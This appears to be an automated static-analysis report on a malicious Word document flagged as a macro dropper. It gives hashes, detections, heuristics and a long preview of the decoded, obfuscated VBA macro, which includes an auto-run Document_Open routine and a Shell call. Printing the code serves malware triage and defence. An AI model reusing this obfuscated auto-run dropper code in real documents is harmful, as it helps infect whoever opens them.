Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3f4e62b6bf1f93f4…

MALICIOUS

Office (OLE)

211.5 KB Created: 2017-07-26 19:54:00 Authoring application: Microsoft Office Word First seen: 2017-09-14
MD5: 9f931dbea53563e567692aee0e93aa89 SHA-1: 706d621707767e49371f4872978f4ea3eb1fb1d8 SHA-256: 3f4e62b6bf1f93f4dc4226bd763a75c07cf4a861b56b53dc3dd4baf256cc44da
152 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro is heavily obfuscated but includes a call to Shell, indicating it is designed to execute arbitrary commands. The ClamAV detection name 'Doc.Dropper.Agent' further suggests its role as a dropper for other malware. No specific family could be identified due to the obfuscation, but the intent is clearly to download and execute a secondary payload.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6341657-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6341657-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    mDAkNzgL = Array("YkV5GThA", "RvuCF", "Rtvi7", "OfAzTcng7", "c8olK")
    Shell xIwimLMc, iR2m5cZEf
    Dim hLT9CA
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub Document_Open()
    Dim g7DqR
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 49546 bytes
SHA-256: 8cbd1e8f45e50f83fc1193afdad9d67b93a065ffaabecae26f6a2f1867d0d817
Detection
ClamAV: No threats found
Obfuscation or payload: likely
854 of 1664 identifiers look randomly generated (e.g. 'uVGZklGSgU') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
Dim g7DqR
g7DqR = "pOPc5Wnr"
If Mid(g7DqR, 5) = "MAmxipIZM" Then
MsgBox "Pcm8x"
End If
Dim PIEqQ
PIEqQ = Array("HZtnwsbgC", "Xgx2bD", "QApqIJU", "ZFs9Q", "mK7ov")
Dim LGFdrWpL
LGFdrWpL = "SHKT4O"
Mid(LGFdrWpL, -8371 + 8373, -8371 + 8373) = "fox"
Dim B09gtb
B09gtb = "atLH4YeW"
If Mid(B09gtb, 5) = "fd8RJ" Then
MsgBox "jyt96Cq"
End If
Dim R0abDIn5E
R0abDIn5E = "kU1EBqFbK"
If Mid(R0abDIn5E, 5) = "f8CtA07E" Then
MsgBox "y319u6G5Z"
End If
Dim ta1jKN
ta1jKN = "9ACduVWas"
Dim n2JYb
n2JYb = "tkG7SPHoj"
Mid(n2JYb, 14074 - 14073, 14074 - 14073) = "fox"
Dim Ty057P As String
Ty057P = "N"
csXkcg = ta1jKN & Ty057P
Dim aGCQ2
aGCQ2 = Array("G3yPVLiCc", "G4vD1MTH", "T5Uyou", "EflZ4NwS", "DUXQnLDm")
Dim AWAlzLPgR
AWAlzLPgR = "V9tuzoQbA"
If Mid(AWAlzLPgR, 5) = "wewn4xZv" Then
MsgBox "Y7e5MLj"
End If
Dim qC7Do942v As String
qC7Do942v = "v02bj5i"
Dim rea05
rea05 = "mUj34kb"
If Mid(rea05, 5) = "Th8k4rfM" Then
MsgBox "eYW5eo"
End If
Dim kgayT As String
kgayT = "bv"
Dim xqBiHu
xqBiHu = "Tuznthia"
If Mid(xqBiHu, 5) = "imLYvcSqs" Then
MsgBox "xtK7mq"
End If
Dim rElmD
rElmD = "gblyW"
If Mid(rElmD, 5) = "d1l5G" Then
MsgBox "spvPX8itz"
End If
Dim UXqajm6yQ
UXqajm6yQ = "s81Oup"
If Mid(UXqajm6yQ, 5) = "XpxG0" Then
MsgBox "S4TUf"
End If
Dim HfVaTO9
HfVaTO9 = "R"
QLaym78 = qC7Do942v & kgayT & HfVaTO9
Dim JAxkf
JAxkf = "G3SrKJcos"
If Mid(JAxkf, 5) = "XtKrisOT" Then
MsgBox "hhS4DBl"
End If
Dim SdCMbO2V
SdCMbO2V = "bHXTus"
Mid(SdCMbO2V, 12376 - 12375, 12376 - 12375) = "fox"
Dim IjQZIDAun
IjQZIDAun = "2bs52d"
Dim o1ivuCl
o1ivuCl = "wYPm7t"
Mid(o1ivuCl, 7371 - 7369, 7371 - 7369) = "fox"
Dim b7xDSQfg
b7xDSQfg = "vRkL"
HMhDJ02 = IjQZIDAun & b7xDSQfg
Dim iU2lVJPw
iU2lVJPw = "HAgiR"
If Mid(iU2lVJPw, 5) = "BVCHOaMEm" Then
MsgBox "qXdmPi4E3"
End If
Dim tV6W7 As String
tV6W7 = "oNWYlJ3bm"
Dim vYm7lAgz
vYm7lAgz = "UaxWDZkh"
Mid(vYm7lAgz, 4587 - 4585, 4587 - 4585) = "fox"
Dim PlTyHG
PlTyHG = "jQLHxk8e9"
If Mid(PlTyHG, 5) = "Oc29GqMV7" Then
MsgBox "lzj6O9D"
End If
Dim NiA9LBv
NiA9LBv = "t"
SMybrH = tV6W7 & NiA9LBv
Dim itDG8n
itDG8n = "GW7ZCr0N8"
If Mid(itDG8n, 5) = "qOGCTn" Then
MsgBox "ZVZxKi"
End If
Dim EzxTFXrkp
EzxTFXrkp = "ilJBt6pZG"
If Mid(EzxTFXrkp, 5) = "ahYFTydub" Then
MsgBox "USgjIHQ0d"
End If
Dim xM8pUfR3F
xM8pUfR3F = "S9FK61I"
Mid(xM8pUfR3F, -10267 + 10269, -10267 + 10269) = "fox"
Dim y9M0oHW
y9M0oHW = "cAoRQ4lc9"
Mid(y9M0oHW, -10267 + 10269, -10267 + 10269) = "fox"
Dim DnlcOE
DnlcOE = "kgSZslmR"
Dim uWKgGqnQp
uWKgGqnQp = "sxT9NfYd"
Mid(uWKgGqnQp, 3311 - 3310, 3311 - 3310) = "fox"
Dim ZTO4s
ZTO4s = "FmlOwnK"
Mid(ZTO4s, 3311 - 3310, 3311 - 3310) = "fox"
Dim aAWZHhi3
aAWZHhi3 = "kF"
L2msa9i = DnlcOE & aAWZHhi3
Dim Yx8cf
Yx8cf = Array("H0x4FS", "OlBFrvwin", "ijmAPNI", "XhWpDBrTY", "vCn43S2k")
Dim SUu9l7na As String
SUu9l7na = "mbhJHJ7Qnb"
EHQKRCW = SUu9l7na
Dim gqWduFGYQ
gqWduFGYQ = "eZfb0w"
If Mid(gqWduFGYQ, 5) = "quqUlikP" Then
MsgBox "l18V39"
End If
Dim ZiuqD
ZiuqD = "I4f8s6kd"
Mid(ZiuqD, 17723 - 17722, 17723 - 17722) = "fox"
Dim jBwY8X3
jBwY8X3 = "hsECpTMoG"
If Mid(jBwY8X3, 5) = "lcoEMQOH" Then
MsgBox "USVIe"
End If
Dim mwjT2kZNb
mwjT2kZNb = "l5GI"
Dim x0or1RI
x0or1RI = "oG4X1"
Mid(x0or1RI, 17133 - 17132, 17133 - 17132) = "fox"
Dim MHT3sDnZ
MHT3sDnZ = Array("mROBP", "Sun98Oy", "ruPpBl1", "TOWngif9", "QsSExv")
Dim xSFrvhE As String
xSFrvhE = "9ASbvR"
csfSDl = mwjT2kZNb & xSFrvhE
Dim t6Szkx5
t6Szkx5 = "Tw9GXC"
If Mid(t6Szkx5, 5) = "OBMm3HaA" Then
MsgBox "fDifUCbkH"
End If
Dim pAzSJlt9O As String
pAzSJlt9O = "skCKn5WayR"
lnGS2Q8B = pAzSJlt9O
Dim fciMKpe7
fciMKpe7 = Array("RoV8paC4", "YKTzc", "n4Je0", "DKH7k", "z0H2t")
Dim oDVaR
oDVaR = Array("YBQfi", "zRq6m", "bZKcz8YAr", "hcVrQXIU", "N9mkgvSN")
Dim CN2c3BprC
CN2c3BprC = Array("ecJ1peNQ", "tjBoGv", "yYclVU8Xx", "XriuQS1v", "I6yfsQtcu")
Dim RmvZ4b30
RmvZ4b30 = "xNgvRa"
If Mid(RmvZ4b30, 5) = "IDeRL" Then
MsgBox "Qk1EZe34"
End If
Dim O5t4oLDaQ As String
O5t4oLDaQ = "ul2VtACb"
Dim vf5ym
vf5ym = "C8UhB"
If Mid(vf5ym, 5) = "BzDQXNW" Then
MsgBox "SgtNu8"
End If
Dim S1LvwPmK
S1LvwPmK = "zQju1"
If Mid(S1LvwPmK, 5) = "kew0RW" Then
MsgBox "cFBtY"
End If
Dim XB6aj8
XB6aj8 = "sV"
Koe6D = O5t4oLDaQ & XB6aj8
Dim PlM6cBGKI
PlM6cBGKI = "pCEv6sF"
Mid(PlM6cBGKI, 32165 - 32164, 32165 - 32164) = "fox"
Dim YsZ9VJOF
YsZ9VJOF = "Oi8PWgrd"
Mid(YsZ9VJOF, 18880 / 9440, 18880 / 9440) = "fox"
Dim ChgnQZy
ChgnQZy = "kWsV2d"
Mid(ChgnQZy, 18880 / 9440, 18880 / 9440) = "fox"
Dim prcZ9
prcZ9 = "3YlpmYv"
Dim ocRXKd8Ut
ocRXKd8Ut = Array("FuKVk3", "d30Aq", "DGtx5l", "bSE29gYB", "W5tbXPur")
Dim tmTH1hQ6G
tmTH1hQ6G = "C5waFKAy"
If Mid(tmTH1hQ6G, 5) = "fj2Py" Then
MsgBox "ZofZt"
End If
Dim V3gjrIq
V3gjrIq = "uQfRk8"
If Mid(V3gjrIq, 5) = "TMPfVBpWO" Then
MsgBox "zmhiVCw"
End If
Dim UhWvcpDSy
UhWvcpDSy = "dic2ly"
If Mid(UhWvcpDSy, 5) = "u8SkE" Then
MsgBox "ET4hw3oe"
End If
Dim bRV84 As String
bRV84 = "1yd"
ImRQlJz = prcZ9 & bRV84
Dim tDSXb
tDSXb = Array("M9VoMyp3G", "fVtZipm", "XfUuqz0c", "Uf1rJeCP", "NM5yi9")
Dim jqdMsVLC
jqdMsVLC = "qnDpKHWv"
If Mid(jqdMsVLC, 5) = "VvFlixTq" Then
MsgBox "yNfdUIqFR"
End If
Dim An6FhSv
An6FhSv = "Gx0wE"
If Mid(An6FhSv, 5) = "dx5BJ" Then
MsgBox "hBxUmgIp"
End If
Dim lNj4rCdk As String
lNj4rCdk = "3YTdFI0"
Dim hjweu
hjweu = "QFHpuiQ9D"
If Mid(hjweu, 5) = "kUEC9" Then
MsgBox "RpgAN"
End If
Dim bh2PA
bh2PA = "NWZ"
ProX8BzDe = lNj4rCdk & bh2PA
Dim YjacdA
YjacdA = Array("aJYbrel8p", "DWRgGaT3C", "Z9WQz", "NzU97", "ZQijM")
Dim Xm5pE
Xm5pE = "rrzcb"
If Mid(Xm5pE, 5) = "GBkNE" Then
MsgBox "CI3zRZaJ"
End If
Dim tgrjRC3
tgrjRC3 = "llGbDJ"
Dim hkqLtJIY
hkqLtJIY = Array("XA5T2D9", "W62SDIgW", "hakp1I2", "vPGeafU", "Fy8VdMHj")
Dim efEWXSj
efEWXSj = Array("Ad4gpIwB6", "LXclh8O", "dh23v", "FHc7pUEQ", "Fza0uf")
Dim kfev4Ahcq
kfev4Ahcq = "KUCqb768"
If Mid(kfev4Ahcq, 5) = "htmTvYA" Then
MsgBox "J1QNycG8"
End If
Dim qrI5OTb
qrI5OTb = "rMFe3J8yw"
Mid(qrI5OTb, 7587 / 7587, 7587 / 7587) = "fox"
Dim f31xzJh As String
f31xzJh = "WZX5"
SVgP7 = tgrjRC3 & f31xzJh
Dim wXQ0AzisB
wXQ0AzisB = "pFiXaQ"
If Mid(wXQ0AzisB, 5) = "wYVyH75Tx" Then
MsgBox "MDn7GSj"
End If
Dim x4AjX0fb
x4AjX0fb = "ekdjcSV"
Mid(x4AjX0fb, 5624 / 5624, 5624 / 5624) = "fox"
Dim sksW0AIh
sksW0AIh = "yJ"
Dim IhVG3T
IhVG3T = "Zc47gI"
If Mid(IhVG3T, 5) = "LKBahDEz" Then
MsgBox "VvqEAxCZb"
End If
Dim xA7RJNHgj
xA7RJNHgj = Array("X9Lkp1S", "RsQTA6", "cRZhB", "QLywS3fbx", "xUWjR3MX")
Dim T0hAE9C
T0hAE9C = "2OoR"
Dim XXGICA
XXGICA = Array("Z3qoQ1F", "ZabqLh4", "KmuGaRYdF", "kVbiLDk", "XmEfn9Isq")
Dim nens51
nens51 = Array("dYzECnKSA", "J3efx", "hWGU06P", "IlOPrB6J4", "DetUa3l")
Dim FWdxNe6
FWdxNe6 = "fSHIcg4l"
Mid(FWdxNe6, -30129 + 30130, -30129 + 30130) = "fox"
Dim XIZRNjx
XIZRNjx = "XYwR"
WjxONk = sksW0AIh & T0hAE9C & XIZRNjx
Dim EIhPY8
EIhPY8 = Array("F4DPB", "rCX5Icrtq", "LdUR8Wn1", "wMd6zqT", "QmFYZ")
Dim yb4R8fH7
yb4R8fH7 = "cjMJXzmK6"
If Mid(yb4R8fH7, 5) = "G8CpVX" Then
MsgBox "fV1JeLk"
End If
Dim kwQEIS
kwQEIS = "cQIL0c8"
If Mid(kwQEIS, 5) = "DHP6o" Then
MsgBox "cfUlL"
End If
Dim MFgSwWD
MFgSwWD = "4Vmbu02bk5"
KQn9PqCE = MFgSwWD
Dim ltV0vi
ltV0vi = "bmCRN"
Mid(ltV0vi, 24838 / 24838, 24838 / 24838) = "fox"
Dim Vq2UZY As String
Vq2UZY = "tFmbks"
Dim C3EeNI
C3EeNI = Array("nziEq4", "Yq5Bmy7", "TyoJPj0O", "wD9qRT", "l6tvC")
Dim Bx6fD5 As String
Bx6fD5 = "TKn"
Dim VA2fg
VA2fg = Array("u5rH47oR", "wAV8h", "GxpGL", "Vqfox", "wUHRV")
Dim rUH5ypK2
rUH5ypK2 = "w"
tUWJgNDaG = Vq2UZY & Bx6fD5 & rUH5ypK2
Dim GSrAjsNM7
GSrAjsNM7 = Array("mDVWKFkPH", "FzDQLG", "OcSAJ4y9", "xXNUe", "DI1BN")
Dim NcoeOwV6l
NcoeOwV6l = "J4HIOLG6l"
Mid(NcoeOwV6l, 9917 - 9916, 9917 - 9916) = "fox"
Dim SMwVjs As String
SMwVjs = "pM"
Dim JwpUr
JwpUr = "aYeryDCZ"
Mid(JwpUr, 3542 - 3540, 3542 - 3540) = "fox"
Dim jimBwGD
jimBwGD = "TBu5VD"
If Mid(jimBwGD, 5) = "EVoh8" Then
MsgBox "qYIbiTnq"
End If
Dim G1OZPd
G1OZPd = "OMe9YX5"
If Mid(G1OZPd, 5) = "bOMafblLk" Then
MsgBox "CLhYn"
End If
Dim S3HyAcfVI
S3HyAcfVI = "HbyVHJg4"
g6uena1DX = SMwVjs & S3HyAcfVI
Dim CrQzh
CrQzh = "BNXk4"
Mid(CrQzh, -405 + 406, -405 + 406) = "fox"
Dim gLvn67
gLvn67 = "BUugw"
If Mid(gLvn67, 5) = "TVkR6aYr9" Then
MsgBox "QVEqKv7A"
End If
Dim CYTbBsKh
CYTbBsKh = "ZndYafl"
Mid(CYTbBsKh, 3618 - 3616, 3618 - 3616) = "fox"
Dim sc7GKhBCe
sc7GKhBCe = "XY"
Dim zG72tu
zG72tu = "wvYaMx5U"
Mid(zG72tu, -13774 + 13776, -13774 + 13776) = "fox"
Dim QI2awMAV0
QI2awMAV0 = "q6LdJIsmx"
Mid(QI2awMAV0, -13774 + 13776, -13774 + 13776) = "fox"
Dim KewY8
KewY8 = "TOPs27"
If Mid(KewY8, 5) = "hxvjlmS" Then
MsgBox "DGD8NeFf1"
End If
Dim ITdag
ITdag = "UIrfV"
Mid(ITdag, 19799 / 19799, 19799 / 19799) = "fox"
Dim Db2FZBwIx
Db2FZBwIx = "j13OrF"
Dim Qt4ozqV8
Qt4ozqV8 = "lghSn"
Mid(Qt4ozqV8, -968 + 969, -968 + 969) = "fox"
Dim SB7Ilbyf
SB7Ilbyf = "eP5dHFgj0"
Mid(SB7Ilbyf, -968 + 969, -968 + 969) = "fox"
Dim RejH9y As String
RejH9y = "WZ"
GphiTd = sc7GKhBCe & Db2FZBwIx & RejH9y
Dim ECqSV5M
ECqSV5M = Array("ZIb6AY", "khwiWm", "lYxsf6OTF", "fnDLEf", "UojP3EM")
Dim WursB
WursB = "aqsBa"
If Mid(WursB, 5) = "dHdOSTQs" Then
MsgBox "cquD6aiJ"
End If
Dim k2Ym17
k2Ym17 = "Cdl5kLt"
Dim YMIhru
YMIhru = "SmKtx1RGN"
Mid(YMIhru, 29936 / 14968, 29936 / 14968) = "fox"
Dim JB6eaDU
JB6eaDU = Array("TZJkb", "x4qhu", "hS09Q41K7", "QV0T4", "sVBoMcXZ")
Dim Xy0u6z9
Xy0u6z9 = Array("Z57Rv9", "p6HEbNMo", "cgIhbXY", "ojvKiotX", "AhVogSqk3")
Dim NSLvKQi
NSLvKQi = "TEx2mW"
If Mid(NSLvKQi, 5) = "MHRUZeE9N" Then
MsgBox "QCvJs"
End If
Dim Z31AMD As String
Z31AMD = "VGd"
ptN5b = k2Ym17 & Z31AMD
Dim wSJmdHBN
wSJmdHBN = Array("ODZxcMmj", "PLNJV3Q", "HcgsG4tXV", "hsjlxEZn", "gcKC3yr1")
Dim NfEgVGIq As String
NfEgVGIq = "u9"
Dim loVhPYMp
loVhPYMp = "Ku4Ti5sb"
Mid(loVhPYMp, -11683 + 11684, -11683 + 11684) = "fox"
Dim RRMF5s
RRMF5s = "AJXGCb"
Mid(RRMF5s, 2038 / 1019, 2038 / 1019) = "fox"
Dim AXrUnRIi
AXrUnRIi = "uZDTJI0"
Mid(AXrUnRIi, 2038 / 1019, 2038 / 1019) = "fox"
Dim kUMrVIZ
kUMrVIZ = "GdzVHanJ"
RzMbpEs = NfEgVGIq & kUMrVIZ
Dim kcfWrvX1
kcfWrvX1 = "lhYVM6"
If Mid(kcfWrvX1, 5) = "Hs1wgv" Then
MsgBox "bBRGxV"
End If
Dim wad1jBf3G
wad1jBf3G = "vcCUb"
Mid(wad1jBf3G, 12049 - 12047, 12049 - 12047) = "fox"
Dim BfQFX16
BfQFX16 = Array("l7eyRztVs", "tPmHop", "oX9YtO", "T6OdU", "jtpI4mKy")
Dim uxPXAWLT
uxPXAWLT = Array("BqdbmFo", "EdKONh0Jz", "enhyzY", "YSr3sxe", "ymETog")
Dim FVYd90UT As String
FVYd90UT = "s8CenB3YwJ"
veBCFa = FVYd90UT
Dim O8Ucr4zdZ
O8Ucr4zdZ = Array("Qx7Rc", "fDv8n4", "jLmoPenrS", "YFsWJu", "bJ25H78U")
Dim pBMOGjnxo
pBMOGjnxo = "hBESD"
Mid(pBMOGjnxo, -4718 + 4719, -4718 + 4719) = "fox"
Dim O1UxNa
O1UxNa = "y3p15cxZK"
If Mid(O1UxNa, 5) = "rKotVe" Then
MsgBox "YjOkFc"
End If
Dim w53qk9
w53qk9 = Array("vZ3NHMoe", "AcwFfPp", "pqgJ9Z", "fY6AECs", "k0D74yM")
Dim kItPczEF As String
kItPczEF = "hBHJ7kiNzU"
qydnQ = kItPczEF
Dim JLGeRJ
JLGeRJ = Array("nWkrXURAv", "zsuF3WjoA", "ymaKvD", "vFc3fprRh", "lBkcwG")
Dim pxh7qe
pxh7qe = "iOYe3"
Mid(pxh7qe, -4461 + 4463, -4461 + 4463) = "fox"
Dim cL9JbpDlf
cL9JbpDlf = "Hen9Sbv"
Dim wVa6kAds
wVa6kAds = "G2MR3vF"
Mid(wVa6kAds, 24527 / 24527, 24527 / 24527) = "fox"
Dim WVs3M As String
WVs3M = "NmL"
Zf9mpEseg = cL9JbpDlf & WVs3M
Dim jvqE5cX9C
jvqE5cX9C = "APe7aNDs"
If Mid(jvqE5cX9C, 5) = "LBzNU" Then
MsgBox "qzaHQR"
End If
Dim PeouMGnt
PeouMGnt = "ucyLhN"
Dim HuiKeV
HuiKeV = Array("GtsKfVWB", "Iyz5t", "QgZEV", "It0Zl7", "TD78Kk")
Dim HiskK
HiskK = "dAgea"
Mid(HiskK, 170 - 168, 170 - 168) = "fox"
Dim fZctkrKi9 As String
fZctkrKi9 = "2Y"
Dim EDh1dj
EDh1dj = Array("ugyJFZ4o", "hbprXB4u", "Hh0oMz52", "OEkql", "G9lQG")
Dim XqE6r1ATl
XqE6r1ATl = "OU91z"
Mid(XqE6r1ATl, 11559 - 11557, 11559 - 11557) = "fox"
Dim gSeba
gSeba = "pI5LF"
Mid(gSeba, 6126 - 6124, 6126 - 6124) = "fox"
Dim dWXbpw
dWXbpw = "HcRUkbyD"
Mid(dWXbpw, 6126 - 6124, 6126 - 6124) = "fox"
Dim E5fQ4Xsh As String
E5fQ4Xsh = "kJ"
rZI8dH = PeouMGnt & fZctkrKi9 & E5fQ4Xsh
Dim hHSYD
hHSYD = "aX13Je"
Mid(hHSYD, -25080 + 25081, -25080 + 25081) = "fox"
Dim liV0P
liV0P = Array("AUrPID", "uQlnpHWE", "r1g8Nh", "XXrq0A59D", "xJE6ZV")
Dim q6ZWxm1GU
q6ZWxm1GU = Array("whgjTka", "cVFWxO3", "PMbuiLG73", "NnIEb", "BZsG0S4h")
Dim aoIptK
aoIptK = "voDc0R"
Dim T3Ah9
T3Ah9 = Array("KFQnoqH", "QwZ0M5o4R", "YAzXidghK", "jfJq1a", "u7Sq8y")
Dim av6DFP
av6DFP = "fVCYSU"
If Mid(av6DFP, 5) = "o9vBIwN" Then
MsgBox "idHqobgts"
End If
Dim x6DWQqNF
x6DWQqNF = "ddgYoXGc"
Mid(x6DWQqNF, -15457 + 15459, -15457 + 15459) = "fox"
Dim dmFbI5P4 As String
dmFbI5P4 = "Has8"
Z5Xf8PTMt = aoIptK & dmFbI5P4
Dim L94BcgN
L94BcgN = Array("auCpWD", "yER5vYDg", "zc26I5", "jtRBXL", "rYKZ1CxS")
Dim dA0E5XDJ8
dA0E5XDJ8 = "RVu7sJ"
Mid(dA0E5XDJ8, 9089 - 9087, 9089 - 9087) = "fox"
Dim YoavmcCH
YoavmcCH = "lh2UuQHcpJ"
cje2F = YoavmcCH
Dim kxln3eC
kxln3eC = "dQLOfeM6"
Mid(kxln3eC, 10620 - 10618, 10620 - 10618) = "fox"
Dim xRJTeU5Q
xRJTeU5Q = Array("VMZpw", "kp0bE", "w8waZ", "uWbaOij4", "E4p1LfmVI")
Dim ZEKaAknH
ZEKaAknH = "ubJGCNhXn"
Mid(ZEKaAknH, -949 + 951, -949 + 951) = "fox"
Dim OeVISj4
OeVISj4 = "XYs9Gclx"
Dim tjtq5D
tjtq5D = Array("Z1fvK", "yJOgZkPiH", "R2Jhsqxj", "sXIqly2", "QdfcS9")
Dim fhC7z6vya
fhC7z6vya = "GNwMy"
If Mid(fhC7z6vya, 5) = "wZyMW71" Then
MsgBox "cKMTp"
End If
Dim dLAgcI
dLAgcI = "hVJaBvN"
If Mid(dLAgcI, 5) = "gomjW" Then
MsgBox "LaXZS"
End If
Dim GO0Hlgik3
GO0Hlgik3 = "2L"
agFxesAmV = OeVISj4 & GO0Hlgik3
Dim IYblCMrH
IYblCMrH = "vjndq"
If Mid(IYblCMrH, 5) = "Eml7x" Then
MsgBox "UB3ucG"
End If
Dim Nfz4ZE
Nfz4ZE = "PxDCi"
If Mid(Nfz4ZE, 5) = "hNsKek" Then
MsgBox "r8wFpnI30"
End If
Dim DhvCT6oN
DhvCT6oN = "6AH"
Dim aVtNu
aVtNu = Array("hhJqjLAk", "eUQoPp", "w7N8B0coq", "s6acTmUs", "qiYBP")
Dim xFW6Kpom
xFW6Kpom = "U9PRTbc"
If Mid(xFW6Kpom, 5) = "DkeutBy" Then
MsgBox "ROzWQ"
End If
Dim pkZ3T2
pkZ3T2 = "PYRlWcPI4"
If Mid(pkZ3T2, 5) = "dLIKS1Ow" Then
MsgBox "hIzel7cm"
End If
Dim bhPvSxW
bhPvSxW = "TOaUl"
If Mid(bhPvSxW, 5) = "ReubJV" Then
MsgBox "S3xom"
End If
Dim lAOC765 As String
lAOC765 = "d0hGL"
Dim lf8chKRiG
lf8chKRiG = Array("cO2e5EcFB", "jFWN1Z", "AuUs4eMhi", "v0rn97", "iGHDkUaC")
Dim Gc5tUG
Gc5tUG = Array("o5ABL", "q0ShMV", "PpckSe7", "D1CBP3aM", "athQ1lgz")
Dim sX7DbPz
sX7DbPz = "vg"
zG2jx = DhvCT6oN & lAOC765 & sX7DbPz
Dim GHASyj
GHASyj = Array("xWzmGKIn", "MBMXKPG", "acDhl93n2", "epQ17Zs", "U28J9")
Dim LhRD3m
LhRD3m = "ibYGV"
If Mid(LhRD3m, 5) = "vDlrNpiML" Then
MsgBox "MTOf9E"
End If
Dim FtY9uJ As String
FtY9uJ = "uVGZklGSgU"
Gc5NQ = FtY9uJ
Dim Hti7ze
Hti7ze = Array("bH5T1BP", "CWCPsI", "QfYG5", "gd456139", "jVwBpEJ0")
Dim uBbrn As String
uBbrn = "WYyRCI9AS"
Dim Va4olVB
Va4olVB = "eY7MX"
If Mid(Va4olVB, 5) = "JD2vCZ" Then
MsgBox "ULkmD1t3"
End If
Dim vg6hxld4Q
vg6hxld4Q = Array("pr9JmH", "aQ1BlG", "ZMg81kweH", "zGxXSTt8", "lWmUL")
Dim wIxifb As String
wIxifb = Chr(90)
bXwdb = uBbrn & wIxifb
Dim LCQziM0K8
LCQziM0K8 = "FrYTQZJ"
Mid(LCQziM0K8, 18906 / 9453, 18906 / 9453) = "fox"
Dim NhBmHU
NhBmHU = Array("rPh23obx", "QPlvbHgz", "HDtyQY", "Kh5I9F", "uFfI8Zh")
Dim zMojIl5 As String
zMojIl5 = "DIzxm"
Dim nL6oUBn90
nL6oUBn90 = "wS5eJm"
Mid(nL6oUBn90, 6924 / 3462, 6924 / 3462) = "fox"
Dim JsoaqU
JsoaqU = "cZR6o"
If Mid(JsoaqU, 5) = "e8BZIk9O0" Then
MsgBox "eh320kO"
End If
Dim EPcXH9
EPcXH9 = "c1RyO"
B6L7BNPYo = zMojIl5 & EPcXH9
Dim oyu19
oyu19 = "ENSIB5ZX"
If Mid(oyu19, 5) = "njLWDtEl4" Then
MsgBox "GLZoihE"
End If
Dim ujcVu9qB
ujcVu9qB = "KVQyaZkej"
If Mid(ujcVu9qB, 5) = "Qe6L4" Then
MsgBox "pues8Qdj9"
End If
Dim ErXMefo
ErXMefo = "M5V6Sra1"
If Mid(ErXMefo, 5) = "XifJl" Then
MsgBox "kz3HlfqU"
End If
Dim kslY8C7 As String
kslY8C7 = "t9GZuFm"
Dim rzUfgW
rzUfgW = Array("xtm4l", "G3nEk", "TGhvlUye", "a5uDpFVbv", "NwvqoC")
Dim pqWfPg
pqWfPg = "TjvzJwYHq"
Mid(pqWfPg, 19361 / 19361, 19361 / 19361) = "fox"
Dim wXOHs69SA
wXOHs69SA = "cgQ"
jMRngs7 = kslY8C7 & wXOHs69SA
Dim zwn0cC3ut
zwn0cC3ut = "NxlfC"
Mid(zwn0cC3ut, 10464 - 10463, 10464 - 10463) = "fox"
Dim Yanwh1Lmz
Yanwh1Lmz = "KhwLdef0"
Mid(Yanwh1Lmz, 6283 - 6282, 6283 - 6282) = "fox"
Dim ix8M2
ix8M2 = Array("GdW1kAQ", "jWM9EyT", "q32Uqx", "INDOrhU", "Wc2T8")
Dim GaXpg
GaXpg = "6AHd0h2"
Dim DDY1L
DDY1L = "HAcHF0"
Mid(DDY1L, 3945 - 3944, 3945 - 3944) = "fox"
Dim tptfK
tptfK = Array("l5ZYDh", "TjV4cPkb", "AMFGz", "CADBQM9", "fEv2Ggi9H")
Dim T9B3A514
T9B3A514 = "z7VGlHSf"
Mid(T9B3A514, 702 - 700, 702 - 700) = "fox"
Dim B4DlE
B4DlE = "Jg0"
GacRuX6sk = GaXpg & B4DlE
Dim ssl62mySv
ssl62mySv = "bFbYZt8w"
Mid(ssl62mySv, 7085 - 7083, 7085 - 7083) = "fox"
Dim sidBpV6 As String
sidBpV6 = "zJl"
Dim JKfbgFupD
JKfbgFupD = Array("ExM5U8pay", "HinUQ8I", "wUZRD", "k8vhLa", "m50zZDd")
Dim JryAp2tn
JryAp2tn = "hXZucCI"
zWuhs = sidBpV6 & JryAp2tn
Dim m5CIU
m5CIU = "XazMD"
If Mid(m5CIU, 5) = "ltyRf" Then
MsgBox "eipznH"
End If
Dim JsKhv
JsKhv = "kaQzcweVu"
If Mid(JsKhv, 5) = "B79eJ8Xu0" Then
MsgBox "zLob7"
End If
Dim hbJGZ As String
hbJGZ = "j9yZy9mLlZ"
EPRyjAXM = hbJGZ
Dim VFegOi
VFegOi = "ePU1Js"
If Mid(VFegOi, 5) = "F0Fnc" Then
MsgBox "GoaQY"
End If
Dim ucjxtOb6
ucjxtOb6 = "SjR6V0"
